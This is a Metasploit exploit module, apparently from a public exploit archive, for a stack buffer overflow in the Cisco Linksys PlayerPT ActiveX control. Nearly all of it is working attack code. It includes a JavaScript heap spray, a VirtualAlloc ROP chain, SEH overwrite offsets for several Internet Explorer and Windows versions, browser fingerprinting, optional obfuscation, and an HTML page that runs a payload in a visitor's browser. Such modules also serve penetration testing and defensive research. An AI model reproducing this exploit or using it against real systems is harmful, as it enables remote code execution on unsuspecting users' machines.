Cisco Linksys PlayerPT ActiveX Control Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",  
:method => "SetSource",  
:rank => NormalRanking  
})  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco Linksys PlayerPT ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15  
as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ  
Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in  
the SetSource method, allows to trigger a stack based buffer overflow which leads  
to code execution under the context of the user visiting a malicious web page.  
},  
'Author' =>  
[  
'rgod', # PoC  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '80297' ],  
[ 'BID', '54588' ],  
[ 'EDB', '18641' ],  
[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
  
},  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'BadChars' => "\x00\x0d\x0a\x5c",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Cisco Linksys PlayerPT ActiveX Control 1.0.0.15  
[ 'Automatic', { } ],  
[  
'IE 6 on Windows XP SP3',  
{  
'Spray' => true,  
'SprayBlocks' => 0x185,  
'SprayOffset' => '0x0',  
'OffsetStackBottom' => 8556  
}  
],  
[  
'IE 7 on Windows XP SP3 / Windows Vista SP2',  
{  
'Spray' => true,  
'SprayBlocks' => 0x185,  
'SprayOffset' => '0x0',  
'OffsetStackBottom' => 3220  
}  
],  
[  
'IE 8 on Windows XP SP3',  
{  
'Spray' => false,  
'OffsetRop' => 160,  
'Offset' => 456,  
'Ret' => 0x1002c536, # ADD ESP,0A2C # RETN from PlayerPT.ocx  
'OffsetStackBottom' => 4108  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 22 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class  
)  
  
end  
  
def get_spray(t, js_code, js_nops)  
  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['SprayOffset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var z=1; z < #{t['SprayBlocks']}; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
# rop chain generated with mona.py  
def create_rop_chain()  
  
rop_gadgets =  
[  
0x77c2f271, # POP EBP # RETN [msvcrt.dll]  
0x77c2f271, # skip 4 bytes [msvcrt.dll]  
0x77c5335d, # POP EBX # RETN [msvcrt.dll]  
0xffffffff, #  
0x77c127e1, # INC EBX # RETN [msvcrt.dll]  
0x77c127e1, # INC EBX # RETN [msvcrt.dll]  
0x77c4e392, # POP EAX # RETN [msvcrt.dll]  
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)  
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]  
0x77c34de1, # POP EAX # RETN [msvcrt.dll]  
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)  
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]  
0x77c479e2, # POP EDI # RETN [msvcrt.dll]  
0x77c39f92, # RETN (ROP NOP) [msvcrt.dll]  
0x77c3b8ba, # POP ESI # RETN [msvcrt.dll]  
0x77c2aacc, # JMP [EAX] [msvcrt.dll]  
0x77c4e392, # POP EAX # RETN [msvcrt.dll]  
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]  
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]  
0x77c51025, # ptr to 'push esp # ret ' [msvcrt.dll]  
].pack("V*")  
  
return rop_gadgets  
end  
  
def get_payload(my_target)  
  
case my_target.name  
when /IE 6 on Windows XP SP3/  
my_payload = "\x0c" * my_target['OffsetStackBottom']  
return my_payload  
when /IE 7 on Windows XP SP3 \/ Windows Vista SP2/  
my_payload = "\x0c" * my_target['OffsetStackBottom']  
return my_payload  
when /IE 8 on Windows XP SP3/  
my_payload = rand_text_alpha(my_target['OffsetRop'])  
my_payload << create_rop_chain  
my_payload << make_nops(my_target['Offset'] - my_payload.length)  
my_payload << generate_seh_record(my_target.ret)  
my_payload << payload.encoded  
my_payload << rand_text_alpha(my_target['OffsetStackBottom'] - my_payload.length)  
return my_payload  
end  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows XP SP3  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows Vista SP2  
else  
return nil  
end  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
print_status("User-agent: #{agent}")  
  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have a setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
js = ""  
  
if my_target['Spray']  
p = payload.encoded  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))  
js = get_spray(my_target, js_code, js_nops)  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
end  
  
sploit = get_payload(my_target)  
sploit = sploit.gsub(/"/, "\\\"")  
  
html = <<-MYHTML  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>  
<script>  
obj.SetSource("","","","","#{sploit}");  
</script>  
</body>  
</html>  
MYHTML  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
end  
`